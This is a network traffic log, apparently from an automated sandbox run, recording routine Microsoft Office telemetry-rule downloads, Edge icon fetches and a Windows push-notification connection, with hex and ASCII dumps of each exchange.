Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a8f5567d-f01e-003f-7aa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-17df447cdb528ltlhC1DFWnt1c0000000c20000000006gc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:51 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-16547b76f7fp46ndhC1DFW66zg0000000fwg00000000eqdg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49916	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 0d4844d6-201e-0071-59a0-34ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-15869dbbcc62nmdhhC1DFW2sxs00000006f00000000085sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49917	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:52 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3540a444-601e-0038-751d-35295e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160751Z-15869dbbcc6bmgjfhC1DFWzfzs00000007fg000000000zh3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49918	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:51 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160751Z-16547b76f7f775p5hC1DFWzdvn0000000frg00000000qwk7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:51 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-16547b76f7fr28cchC1DFWnuws0000000fzg00000000b89m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:52 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-16547b76f7fj897nhC1DFWdwq40000000fr000000000brvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a35883a7-a01e-000d-7ea0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160752Z-17df447cdb56mx55hC1DFWvbt4000000091000000000e4hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:52 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:52 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 14de8335-b01e-003e-77d2-2c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160752Z-16547b76f7fdtmzhhC1DFW6zhc00000004r000000000gpt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49919	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:52 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 59 6c 42 6d 2f 71 61 54 47 30 65 76 43 55 51 6b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 34 36 30 62 64 65 61 37 31 65 62 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: YlBm/qaTG0evCUQk.1Context: 14e460bdea71ebc
2024-11-12 16:07:52 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 16:07:52 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 59 6c 42 6d 2f 71 61 54 47 30 65 76 43 55 51 6b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 34 36 30 62 64 65 61 37 31 65 62 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 42 52 55 64 6a 71 68 38 46 6a 6c 6e 50 4f 32 62 68 52 58 31 6c 41 69 6b 2f 67 74 69 7a 46 34 57 75 2f 44 71 32 33 4a 35 61 71 6d 68 68 6b 56 2f 4e 67 44 6d 6b 46 4d 44 64 4f 57 46 4f 58 36 79 4a 33 2b 32 41 73 2f 30 48 7a 75 50 61 79 2b 34 55 4b 4d 4a 6e 4a 70 56 62 78 2f 69 70 63 77 50 79 61 32 32 61 79 36 2b 43 68 30 70 30 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: YlBm/qaTG0evCUQk.2Context: 14e460bdea71ebc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdBRUdjqh8FjlnPO2bhRX1lAik/gtizF4Wu/Dq23J5aqmhhkV/NgDmkFMDdOWFOX6yJ3+2As/0HzuPay+4UKMJnJpVbx/ipcwPya22ay6+Ch0p0
2024-11-12 16:07:52 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 59 6c 42 6d 2f 71 61 54 47 30 65 76 43 55 51 6b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 34 36 30 62 64 65 61 37 31 65 62 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: YlBm/qaTG0evCUQk.3Context: 14e460bdea71ebc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 16:07:52 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 16:07:52 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 71 4d 64 64 70 2b 37 72 45 43 6f 53 4e 4b 56 31 6a 4f 61 6a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: eqMddp+7rECoSNKV1jOajw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:52 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
